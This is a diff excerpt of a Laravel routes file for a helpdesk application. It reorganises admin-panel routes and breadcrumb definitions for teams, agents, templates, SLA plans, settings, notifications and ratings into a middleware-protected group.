$breadcrumbs->push(Lang::get('lang.teams'), route('teams.index')); - }); - Breadcrumbs::register('teams.create', function ($breadcrumbs) { - $breadcrumbs->parent('teams.index'); - $breadcrumbs->push(Lang::get('lang.create'), route('teams.create')); - }); - Breadcrumbs::register('teams.edit', function ($breadcrumbs) { - $breadcrumbs->parent('teams.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('teams/{teams}/edit')); - }); - - - - Route::resource('agents', 'Admin\helpdesk\AgentController'); // in agents module, for CRUD - Breadcrumbs::register('agents.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.agents'), route('agents.index')); - }); - Breadcrumbs::register('agents.create', function ($breadcrumbs) { - $breadcrumbs->parent('agents.index'); - $breadcrumbs->push(Lang::get('lang.create'), route('agents.create')); - }); - Breadcrumbs::register('agents.edit', function ($breadcrumbs) { - $breadcrumbs->parent('agents.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('agents/{agents}/edit')); - }); - - - Route::resource('emails', 'Admin\helpdesk\EmailsController'); // in emails module, for CRUD - Breadcrumbs::register('emails.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.emails'), route('emails.index')); - }); - Breadcrumbs::register('emails.create', function ($breadcrumbs) { - $breadcrumbs->parent('emails.index'); - $breadcrumbs->push(Lang::get('lang.create'), route('emails.create')); - }); - Breadcrumbs::register('emails.edit', function ($breadcrumbs) { - $breadcrumbs->parent('emails.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('emails/{emails}/edit')); - }); - - - - Route::resource('banlist', 'Admin\helpdesk\BanlistController'); // in banlist module, for CRUD - Breadcrumbs::register('banlist.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.banlists'), route('banlist.index')); - }); - Breadcrumbs::register('banlist.create', function ($breadcrumbs) { - $breadcrumbs->parent('banlist.index'); - $breadcrumbs->push(Lang::get('lang.add'), route('banlist.create')); - }); - Breadcrumbs::register('banlist.edit', function ($breadcrumbs) { - $breadcrumbs->parent('banlist.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('agents/{agents}/edit')); - }); - Route::get('banlist/delete/{id}', ['as' => 'banlist.delete', 'uses' => 'Admin\helpdesk\BanlistController@delete']); // in banlist module, for CRUD - + Route::get('getmail/{token}', 'Auth\AuthController@getMail'); /* - * Templates + |------------------------------------------------------------------------------- + | Admin Routes + |------------------------------------------------------------------------------- + | Here is defining entire routes for the Admin Panel + | */ - Breadcrumbs::register('template-sets.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push('All Template sets', route('template-sets.index')); - }); - Breadcrumbs::register('show.templates', function ($breadcrumbs) { - $page = App\Model\Common\Template::whereId(1)->first(); - $breadcrumbs->parent('template-sets.index'); - $breadcrumbs->push('All Templates', route('show.templates', $page->id)); - }); - Breadcrumbs::register('templates.edit', function ($breadcrumbs) { - $page = App\Model\Common\Template::whereId(1)->first(); - $breadcrumbs->parent('show.templates'); - $breadcrumbs->push('Edit Template', route('templates.edit', $page->id)); - }); - Route::resource('templates', 'Common\TemplateController'); - Route::get('get-templates', 'Common\TemplateController@GetTemplates'); - Route::get('templates-delete', 'Common\TemplateController@destroy'); - Route::get('testmail/{id}', 'Common\TemplateController@mailtest'); + Route::group(['middleware' => 'roles', 'middleware' => 'auth', 'middleware' => 'update'], function () { - Route::resource('template-sets', 'Common\TemplateSetController'); // in template module, for CRUD + //Notification marking + Route::post('mark-read/{id}', 'Common\NotificationController@markRead'); + Route::post('mark-all-read/{id}', 'Common\NotificationController@markAllRead'); + Breadcrumbs::register('notification.list', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push('All Notifications', route('notification.list')); + }); + Route::get('notifications-list', ['as' => 'notification.list', 'uses' => 'Common\NotificationController@show']); - Route::get('delete-sets/{id}', ['as' => 'sets.delete', 'uses' => 'Common\TemplateSetController@deleteSet']); - - Route::get('show-template/{id}', ['as' => 'show.templates', 'uses' => 'Common\TemplateController@showTemplate']); - - Route::get('activate-templateset/{name}', ['as' => 'active.template-set', 'uses' => 'Common\TemplateSetController@activateSet']); - - Route::resource('template', 'Admin\helpdesk\TemplateController'); // in template module, for CRUD - - Route::get('list-directories', 'Admin\helpdesk\TemplateController@listdirectories'); - - Route::get('activate-set/{dir}', ['as' => 'active.set', 'uses' => 'Admin\helpdesk\TemplateController@activateset']); - - Route::get('list-templates/{template}/{directory}', ['as' => 'template.list', 'uses' => 'Admin\helpdesk\TemplateController@listtemplates']); - - Route::get('read-templates/{template}/{directory}', ['as' => 'template.read', 'uses' => 'Admin\helpdesk\TemplateController@readtemplate']); - - Route::patch('write-templates/{contents}/{directory}', ['as' => 'template.write', 'uses' => 'Admin\helpdesk\TemplateController@writetemplate']); - - Route::post('create-templates', ['as' => 'template.createnew', 'uses' => 'Admin\helpdesk\TemplateController@createtemplate']); - - Route::get('delete-template/{template}/{path}', ['as' => 'templates.delete', 'uses' => 'Admin\helpdesk\TemplateController@deletetemplate']); - - Route::get('getdiagno', ['as' => 'getdiagno', 'uses' => 'Admin\helpdesk\TemplateController@formDiagno']); // for getting form for diagnostic - Breadcrumbs::register('getdiagno', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.email_diagnostic'), route('getdiagno')); - }); - - Route::post('postdiagno', ['as' => 'postdiagno', 'uses' => 'Admin\helpdesk\TemplateController@postDiagno']); // for getting form for diagnostic + Route::post('notification-delete/{id}', ['as' => 'notification.delete', 'uses' => 'Common\NotificationController@delete']); + Breadcrumbs::register('notification.settings', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push('Notifications Settings', route('notification.settings')); + }); + Route::get('settings-notification', ['as' => 'notification.settings', 'uses' => 'Admin\helpdesk\SettingsController@notificationSettings']); + Route::get('delete-read-notification', 'Admin\helpdesk\SettingsController@deleteReadNoti'); + Route::post('delete-notification-log', 'Admin\helpdesk\SettingsController@deleteNotificationLog'); - Route::resource('helptopic', 'Admin\helpdesk\HelptopicController'); // in helptopics module, for CRUD - Breadcrumbs::register('helptopic.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.help_topics'), route('helptopic.index')); - }); - Breadcrumbs::register('helptopic.create', function ($breadcrumbs) { - $breadcrumbs->parent('helptopic.index'); - $breadcrumbs->push(Lang::get('lang.create'), route('helptopic.create')); - }); - Breadcrumbs::register('helptopic.edit', function ($breadcrumbs) { - $breadcrumbs->parent('helptopic.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('helptopic/{helptopic}/edit')); - }); + // resource is a function to process create,edit,read and delete + Route::resource('groups', 'Admin\helpdesk\GroupController'); // for group module, for CRUD + Breadcrumbs::register('groups.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.groups'), route('groups.index')); + }); + Breadcrumbs::register('groups.create', function ($breadcrumbs) { + $breadcrumbs->parent('groups.index'); + $breadcrumbs->push(Lang::get('lang.create'), route('groups.create')); + }); + Breadcrumbs::register('groups.edit', function ($breadcrumbs) { + $breadcrumbs->parent('groups.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('groups/{groups}/edit')); + }); + + + Route::resource('departments', 'Admin\helpdesk\DepartmentController'); // for departments module, for CRUD + Breadcrumbs::register('departments.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.departments'), route('departments.index')); + }); + Breadcrumbs::register('departments.create', function ($breadcrumbs) { + $breadcrumbs->parent('departments.index'); + $breadcrumbs->push(Lang::get('lang.create'), route('departments.create')); + }); + Breadcrumbs::register('departments.edit', function ($breadcrumbs) { + $breadcrumbs->parent('departments.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('departments/{departments}/edit')); + }); + + + Route::resource('teams', 'Admin\helpdesk\TeamController'); // in teams module, for CRUD + Breadcrumbs::register('teams.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.teams'), route('teams.index')); + }); + Breadcrumbs::register('teams.create', function ($breadcrumbs) { + $breadcrumbs->parent('teams.index'); + $breadcrumbs->push(Lang::get('lang.create'), route('teams.create')); + }); + Breadcrumbs::register('teams.edit', function ($breadcrumbs) { + $breadcrumbs->parent('teams.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('teams/{teams}/edit')); + }); - Route::resource('sla', 'Admin\helpdesk\SlaController'); // in SLA Plan module, for CRUD - Breadcrumbs::register('sla.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.sla-plans'), route('sla.index')); - }); - Breadcrumbs::register('sla.create', function ($breadcrumbs) { - $breadcrumbs->parent('sla.index'); - $breadcrumbs->push(Lang::get('lang.create'), route('sla.create')); - }); - Breadcrumbs::register('sla.edit', function ($breadcrumbs) { - $breadcrumbs->parent('sla.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('sla/{sla}/edit')); - }); + Route::resource('agents', 'Admin\helpdesk\AgentController'); // in agents module, for CRUD + Breadcrumbs::register('agents.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.agents'), route('agents.index')); + }); + Breadcrumbs::register('agents.create', function ($breadcrumbs) { + $breadcrumbs->parent('agents.index'); + $breadcrumbs->push(Lang::get('lang.create'), route('agents.create')); + }); + Breadcrumbs::register('agents.edit', function ($breadcrumbs) { + $breadcrumbs->parent('agents.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('agents/{agents}/edit')); + }); + + + Route::resource('emails', 'Admin\helpdesk\EmailsController'); // in emails module, for CRUD + Breadcrumbs::register('emails.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.emails'), route('emails.index')); + }); + Breadcrumbs::register('emails.create', function ($breadcrumbs) { + $breadcrumbs->parent('emails.index'); + $breadcrumbs->push(Lang::get('lang.create'), route('emails.create')); + }); + Breadcrumbs::register('emails.edit', function ($breadcrumbs) { + $breadcrumbs->parent('emails.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('emails/{emails}/edit')); + }); - Route::resource('forms', 'Admin\helpdesk\FormController'); - Breadcrumbs::register('forms.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.forms'), route('forms.index')); - }); - Breadcrumbs::register('forms.create', function ($breadcrumbs) { - $breadcrumbs->parent('forms.index'); - $breadcrumbs->push(Lang::get('lang.create'), route('forms.create')); - }); - Breadcrumbs::register('forms.edit', function ($breadcrumbs) { - $breadcrumbs->parent('forms.index'); - $breadcrumbs->push(Lang::get('lang.edit'), url('forms/{forms}/edit')); - }); - Breadcrumbs::register('forms.show', function ($breadcrumbs) { - $breadcrumbs->parent('forms.index'); - $breadcrumbs->push(Lang::get('lang.view'), url('forms/{forms}')); - }); - Route::get('delete-forms/{id}', ['as' => 'forms.delete', 'uses' => 'Admin\helpdesk\FormController@delete']); + Route::resource('banlist', 'Admin\helpdesk\BanlistController'); // in banlist module, for CRUD + Breadcrumbs::register('banlist.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.banlists'), route('banlist.index')); + }); + Breadcrumbs::register('banlist.create', function ($breadcrumbs) { + $breadcrumbs->parent('banlist.index'); + $breadcrumbs->push(Lang::get('lang.add'), route('banlist.create')); + }); + Breadcrumbs::register('banlist.edit', function ($breadcrumbs) { + $breadcrumbs->parent('banlist.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('agents/{agents}/edit')); + }); + Route::get('banlist/delete/{id}', ['as' => 'banlist.delete', 'uses' => 'Admin\helpdesk\BanlistController@delete']); // in banlist module, for CRUD - //$router->model('id','getcompany'); - Route::get('job-scheduler', ['as' => 'get.job.scheder', 'uses' => 'Admin\helpdesk\SettingsController@getSchedular']); //to get ob scheduler form page - Breadcrumbs::register('get.job.scheder', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.cron-jobs'), route('get.job.scheder')); - }); + /* + * Templates + */ + Breadcrumbs::register('template-sets.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push('All Template sets', route('template-sets.index')); + }); + Breadcrumbs::register('show.templates', function ($breadcrumbs) { + $page = App\Model\Common\Template::whereId(1)->first(); + $breadcrumbs->parent('template-sets.index'); + $breadcrumbs->push('All Templates', route('show.templates', $page->id)); + }); + Breadcrumbs::register('templates.edit', function ($breadcrumbs) { + $page = App\Model\Common\Template::whereId(1)->first(); + $breadcrumbs->parent('show.templates'); + $breadcrumbs->push('Edit Template', route('templates.edit', $page->id)); + }); + Route::resource('templates', 'Common\TemplateController'); + Route::get('get-templates', 'Common\TemplateController@GetTemplates'); + Route::get('templates-delete', 'Common\TemplateController@destroy'); + Route::get('testmail/{id}', 'Common\TemplateController@mailtest'); - Route::patch('post-scheduler', ['as' => 'post.job.scheduler', 'uses' => 'Admin\helpdesk\SettingsController@postSchedular']); //to update job scheduler + Route::resource('template-sets', 'Common\TemplateSetController'); // in template module, for CRUD - Route::get('agent-profile-page/{id}', ['as' => 'agent.profile.page', 'uses' => 'Admin\helpdesk\AgentController@agent_profile']); + Route::get('delete-sets/{id}', ['as' => 'sets.delete', 'uses' => 'Common\TemplateSetController@deleteSet']); - Route::get('getcompany', ['as' => 'getcompany', 'uses' => 'Admin\helpdesk\SettingsController@getcompany']); // direct to company setting page - Breadcrumbs::register('getcompany', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.company_settings'), route('getcompany')); - }); + Route::get('show-template/{id}', ['as' => 'show.templates', 'uses' => 'Common\TemplateController@showTemplate']); - Route::patch('postcompany/{id}', 'Admin\helpdesk\SettingsController@postcompany'); // Updating the Company table with requests + Route::get('activate-templateset/{name}', ['as' => 'active.template-set', 'uses' => 'Common\TemplateSetController@activateSet']); - Route::get('delete-logo', ['as' => 'delete.logo', 'uses' => 'Admin\helpdesk\SettingsController@deleteLogo']); // deleting a logo + Route::resource('template', 'Admin\helpdesk\TemplateController'); // in template module, for CRUD - Route::get('getsystem', ['as' => 'getsystem', 'uses' => 'Admin\helpdesk\SettingsController@getsystem']); // direct to system setting page - Breadcrumbs::register('getsystem', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.system-settings'), route('getsystem')); - }); + Route::get('list-directories', 'Admin\helpdesk\TemplateController@listdirectories'); - Route::patch('postsystem/{id}', 'Admin\helpdesk\SettingsController@postsystem'); // Updating the System table with requests + Route::get('activate-set/{dir}', ['as' => 'active.set', 'uses' => 'Admin\helpdesk\TemplateController@activateset']); - Route::get('getticket', ['as' => 'getticket', 'uses' => 'Admin\helpdesk\SettingsController@getticket']); // direct to ticket setting page - Breadcrumbs::register('getticket', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.ticket-setting'), route('getticket')); - }); + Route::get('list-templates/{template}/{directory}', ['as' => 'template.list', 'uses' => 'Admin\helpdesk\TemplateController@listtemplates']); - Route::patch('postticket/{id}', 'Admin\helpdesk\SettingsController@postticket'); // Updating the Ticket table with requests + Route::get('read-templates/{template}/{directory}', ['as' => 'template.read', 'uses' => 'Admin\helpdesk\TemplateController@readtemplate']); - Route::get('getemail', ['as' => 'getemail', 'uses' => 'Admin\helpdesk\SettingsController@getemail']); // direct to email setting page - Breadcrumbs::register('getemail', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.email-settings'), route('getemail')); - }); + Route::patch('write-templates/{contents}/{directory}', ['as' => 'template.write', 'uses' => 'Admin\helpdesk\TemplateController@writetemplate']); - Route::patch('postemail/{id}', 'Admin\helpdesk\SettingsController@postemail'); // Updating the Email table with requests - // Route::get('getaccess', 'Admin\helpdesk\SettingsController@getaccess'); // direct to access setting page - // Route::patch('postaccess/{id}', 'Admin\helpdesk\SettingsController@postaccess'); // Updating the Access table with requests + Route::post('create-templates', ['as' => 'template.createnew', 'uses' => 'Admin\helpdesk\TemplateController@createtemplate']); - Route::get('getresponder', ['as' => 'getresponder', 'uses' => 'Admin\helpdesk\SettingsController@getresponder']); // direct to responder setting page - Breadcrumbs::register('getresponder', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.auto_responce'), route('getresponder')); - }); + Route::get('delete-template/{template}/{path}', ['as' => 'templates.delete', 'uses' => 'Admin\helpdesk\TemplateController@deletetemplate']); - Route::patch('postresponder/{id}', 'Admin\helpdesk\SettingsController@postresponder'); // Updating the Responder table with requests + Route::get('getdiagno', ['as' => 'getdiagno', 'uses' => 'Admin\helpdesk\TemplateController@formDiagno']); // for getting form for diagnostic + Breadcrumbs::register('getdiagno', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.email_diagnostic'), route('getdiagno')); + }); - Route::get('getalert', ['as' => 'getalert', 'uses' => 'Admin\helpdesk\SettingsController@getalert']); // direct to alert setting page - Breadcrumbs::register('getalert', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.alert_notices_setitngs'), route('getalert')); - }); + Route::post('postdiagno', ['as' => 'postdiagno', 'uses' => 'Admin\helpdesk\TemplateController@postDiagno']); // for getting form for diagnostic - Route::patch('postalert/{id}', 'Admin\helpdesk\SettingsController@postalert'); // Updating the Alert table with requests - // Templates - Breadcrumbs::register('security.index', function ($breadcrumbs) { - $breadcrumbs->parent('setting'); - $breadcrumbs->push(Lang::get('lang.security_settings'), route('security.index')); - }); + + Route::resource('helptopic', 'Admin\helpdesk\HelptopicController'); // in helptopics module, for CRUD + Breadcrumbs::register('helptopic.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.help_topics'), route('helptopic.index')); + }); + Breadcrumbs::register('helptopic.create', function ($breadcrumbs) { + $breadcrumbs->parent('helptopic.index'); + $breadcrumbs->push(Lang::get('lang.create'), route('helptopic.create')); + }); + Breadcrumbs::register('helptopic.edit', function ($breadcrumbs) { + $breadcrumbs->parent('helptopic.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('helptopic/{helptopic}/edit')); + }); + + + + Route::resource('sla', 'Admin\helpdesk\SlaController'); // in SLA Plan module, for CRUD + Breadcrumbs::register('sla.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.sla-plans'), route('sla.index')); + }); + Breadcrumbs::register('sla.create', function ($breadcrumbs) { + $breadcrumbs->parent('sla.index'); + $breadcrumbs->push(Lang::get('lang.create'), route('sla.create')); + }); + Breadcrumbs::register('sla.edit', function ($breadcrumbs) { + $breadcrumbs->parent('sla.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('sla/{sla}/edit')); + }); + + + + Route::resource('forms', 'Admin\helpdesk\FormController'); + Breadcrumbs::register('forms.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.forms'), route('forms.index')); + }); + Breadcrumbs::register('forms.create', function ($breadcrumbs) { + $breadcrumbs->parent('forms.index'); + $breadcrumbs->push(Lang::get('lang.create'), route('forms.create')); + }); + Breadcrumbs::register('forms.edit', function ($breadcrumbs) { + $breadcrumbs->parent('forms.index'); + $breadcrumbs->push(Lang::get('lang.edit'), url('forms/{forms}/edit')); + }); + Breadcrumbs::register('forms.show', function ($breadcrumbs) { + $breadcrumbs->parent('forms.index'); + $breadcrumbs->push(Lang::get('lang.view'), url('forms/{forms}')); + }); + Route::get('delete-forms/{id}', ['as' => 'forms.delete', 'uses' => 'Admin\helpdesk\FormController@delete']); + + //$router->model('id','getcompany'); + + Route::get('job-scheduler', ['as' => 'get.job.scheder', 'uses' => 'Admin\helpdesk\SettingsController@getSchedular']); //to get ob scheduler form page + Breadcrumbs::register('get.job.scheder', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.cron-jobs'), route('get.job.scheder')); + }); + + Route::patch('post-scheduler', ['as' => 'post.job.scheduler', 'uses' => 'Admin\helpdesk\SettingsController@postSchedular']); //to update job scheduler + + Route::get('agent-profile-page/{id}', ['as' => 'agent.profile.page', 'uses' => 'Admin\helpdesk\AgentController@agent_profile']); + + Route::get('getcompany', ['as' => 'getcompany', 'uses' => 'Admin\helpdesk\SettingsController@getcompany']); // direct to company setting page + Breadcrumbs::register('getcompany', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.company_settings'), route('getcompany')); + }); + + Route::patch('postcompany/{id}', 'Admin\helpdesk\SettingsController@postcompany'); // Updating the Company table with requests + + Route::get('delete-logo', ['as' => 'delete.logo', 'uses' => 'Admin\helpdesk\SettingsController@deleteLogo']); // deleting a logo + + Route::get('getsystem', ['as' => 'getsystem', 'uses' => 'Admin\helpdesk\SettingsController@getsystem']); // direct to system setting page + Breadcrumbs::register('getsystem', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.system-settings'), route('getsystem')); + }); + + Route::patch('postsystem/{id}', 'Admin\helpdesk\SettingsController@postsystem'); // Updating the System table with requests + + Route::get('getticket', ['as' => 'getticket', 'uses' => 'Admin\helpdesk\SettingsController@getticket']); // direct to ticket setting page + Breadcrumbs::register('getticket', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.ticket-setting'), route('getticket')); + }); + + Route::patch('postticket/{id}', 'Admin\helpdesk\SettingsController@postticket'); // Updating the Ticket table with requests + + Route::get('getemail', ['as' => 'getemail', 'uses' => 'Admin\helpdesk\SettingsController@getemail']); // direct to email setting page + Breadcrumbs::register('getemail', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.email-settings'), route('getemail')); + }); + + Route::patch('postemail/{id}', 'Admin\helpdesk\SettingsController@postemail'); // Updating the Email table with requests + // Route::get('getaccess', 'Admin\helpdesk\SettingsController@getaccess'); // direct to access setting page + // Route::patch('postaccess/{id}', 'Admin\helpdesk\SettingsController@postaccess'); // Updating the Access table with requests + + Route::get('getresponder', ['as' => 'getresponder', 'uses' => 'Admin\helpdesk\SettingsController@getresponder']); // direct to responder setting page + Breadcrumbs::register('getresponder', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.auto_responce'), route('getresponder')); + }); + + Route::patch('postresponder/{id}', 'Admin\helpdesk\SettingsController@postresponder'); // Updating the Responder table with requests + + Route::get('getalert', ['as' => 'getalert', 'uses' => 'Admin\helpdesk\SettingsController@getalert']); // direct to alert setting page + Breadcrumbs::register('getalert', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.alert_notices_setitngs'), route('getalert')); + }); + + Route::patch('postalert/{id}', 'Admin\helpdesk\SettingsController@postalert'); // Updating the Alert table with requests + // Templates + Breadcrumbs::register('security.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.security_settings'), route('security.index')); + }); // Templates > Upload Templates - Breadcrumbs::register('security.create', function ($breadcrumbs) { - $breadcrumbs->parent('security.index'); - $breadcrumbs->push('Upload security', route('security.create')); - }); + Breadcrumbs::register('security.create', function ($breadcrumbs) { + $breadcrumbs->parent('security.index'); + $breadcrumbs->push('Upload security', route('security.create')); + }); // Templates > [Templates Name] - Breadcrumbs::register('security.show', function ($breadcrumbs, $photo) { - $breadcrumbs->parent('security.index'); - $breadcrumbs->push($photo->title, route('security.show', $photo->id)); - }); + Breadcrumbs::register('security.show', function ($breadcrumbs, $photo) { + $breadcrumbs->parent('security.index'); + $breadcrumbs->push($photo->title, route('security.show', $photo->id)); + }); // Templates > [Templates Name] > Edit Templates - Breadcrumbs::register('security.edit', function ($breadcrumbs, $photo) { - $breadcrumbs->parent('security.show', $photo); - $breadcrumbs->push('Edit security', route('security.edit', $photo->id)); + Breadcrumbs::register('security.edit', function ($breadcrumbs, $photo) { + $breadcrumbs->parent('security.show', $photo); + $breadcrumbs->push('Edit security', route('security.edit', $photo->id)); + }); + + + Route::resource('security', 'Admin\helpdesk\SecurityController'); // direct to security setting page + + + Route::resource('close-workflow', 'Admin\helpdesk\CloseWrokflowController'); // direct to security setting page + + + Breadcrumbs::register('close-workflow.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.close_ticket_workflow_settings'), route('close-workflow.index')); + }); + Route::resource('close-workflow', 'Admin\helpdesk\CloseWrokflowController'); // direct to security setting page + + + Route::patch('security/{id}', ['as' => 'securitys.update', 'uses' => 'Admin\helpdesk\SecurityController@update']); // direct to security setting page + + Route::get('setting-status', ['as' => 'statuss.index', 'uses' => 'Admin\helpdesk\SettingsController@getStatuses']); // direct to status setting page + Breadcrumbs::register('statuss.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.status_settings'), route('statuss.index')); + }); + + Route::patch('status-update/{id}', ['as' => 'statuss.update', 'uses' => 'Admin\helpdesk\SettingsController@editStatuses']); + Breadcrumbs::register('statuss.create', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push('Create Status', route('statuss.create')); + }); + + Route::get('status/edit/{id}', ['as' => 'status.edit', 'uses' => 'Admin\helpdesk\SettingsController@getEditStatuses']); + + Route::post('status-create', ['as' => 'statuss.create', 'uses' => 'Admin\helpdesk\SettingsController@createStatuses']); + + Route::get('status-delete/{id}', ['as' => 'statuss.delete', 'uses' => 'Admin\helpdesk\SettingsController@deleteStatuses']); + + Route::get('ticket/status/{id}/{state}', ['as' => 'statuss.state', 'uses' => 'Agent\helpdesk\TicketController@updateStatuses']); + + Route::get('getratings', ['as' => 'ratings.index', 'uses' => 'Admin\helpdesk\SettingsController@RatingSettings']); + Breadcrumbs::register('ratings.index', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.ratings_settings'), route('ratings.index')); + }); + + Route::get('deleter/{rating}', ['as' => 'ratings.delete', 'uses' => 'Admin\helpdesk\SettingsController@RatingDelete']); + + Breadcrumbs::register('rating.create', function ($breadcrumbs) { + $breadcrumbs->parent('ratings.index'); + $breadcrumbs->push('Create Ratings', route('rating.create')); + }); + + Route::get('create-ratings', ['as' => 'rating.create', 'uses' => 'Admin\helpdesk\SettingsController@createRating']); + + Route::post('store-ratings', ['as' => 'rating.store', 'uses' => 'Admin\helpdesk\SettingsController@storeRating']); + + Breadcrumbs::register('rating.edit', function ($breadcrumbs) { + $page = App\Model\helpdesk\Ratings\Rating::whereId(1)->first(); + $breadcrumbs->parent('ratings.index'); + $breadcrumbs->push('Edit Ratings'); + }); + + Route::get('editratings/{slug}', ['as' => 'rating.edit', 'uses' => 'Admin\helpdesk\SettingsController@editRatingSettings']); + + Route::patch('postratings/{slug}', ['as' => 'settings.rating', 'uses' => 'Admin\helpdesk\SettingsController@PostRatingSettings']); + + Route::get('remove-user-org/{id}', ['as' => 'removeuser.org', 'uses' => 'Agent\helpdesk\UserController@removeUserOrg']); + + Route::get('admin-profile', ['as' => 'admin-profile', 'uses' => 'Admin\helpdesk\ProfileController@getProfile']); /* User profile edit get */ + Breadcrumbs::register('admin-profile', function ($breadcrumbs) { + $breadcrumbs->parent('dashboard'); + $breadcrumbs->push(Lang::get('lang.profile'), route('admin-profile')); + }); + + Route::get('admin-profile-edit', 'Admin\helpdesk\ProfileController@getProfileedit'); /* Admin profile get */ + + Route::patch('admin-profile', 'Admin\helpdesk\ProfileController@postProfileedit'); /* Admin Profile Post */ + + Route::patch('admin-profile-password', 'Admin\helpdesk\ProfileController@postProfilePassword'); /* Admin Profile Password Post */ + + Route::get('widgets', ['as' => 'widgets', 'uses' => 'Common\SettingsController@widgets']); /* get the create footer page for admin */ + Breadcrumbs::register('widgets', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.widget-settings'), route('widgets')); + }); + + Route::get('list-widget', 'Common\SettingsController@list_widget'); /* get the list widget page for admin */ + + Route::post('edit-widget/{id}', 'Common\SettingsController@edit_widget'); /* get the create footer page for admin */ + + Route::get('social-buttons', ['as' => 'social.buttons', 'uses' => 'Common\SettingsController@social_buttons']); /* get the create footer page for admin */ + Breadcrumbs::register('social.buttons', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.social-widget-settings'), route('social.buttons')); + }); + + Route::get('list-social-buttons', ['as' => 'list.social.buttons', 'uses' => 'Common\SettingsController@list_social_buttons']); /* get the list widget page for admin */ + + Route::post('edit-widget/{id}', 'Common\SettingsController@edit_social_buttons'); /* get the create footer page for admin */ + + + Route::get('version-check', ['as' => 'version-check', 'uses' => 'Common\SettingsController@version_check']); /* Check version */ + + Route::post('post-version-check', ['as' => 'post-version-check', 'uses' => 'Common\SettingsController@post_version_check']); /* post Check version */ + + Route::get('checkUpdate', ['as' => 'checkupdate', 'uses' => 'Common\SettingsController@getupdate']); /* get Check update */ + Breadcrumbs::register('checkupdate', function ($breadcrumbs) { + $breadcrumbs->parent('setting'); + $breadcrumbs->push(Lang::get('lang.update-version'), route('checkupdate')); + }); + + + Route::get('admin', ['as' => 'setting', 'uses' => 'Admin\helpdesk\SettingsController@settings']); + Breadcrumbs::register('setting', function ($breadcrumbs) { + 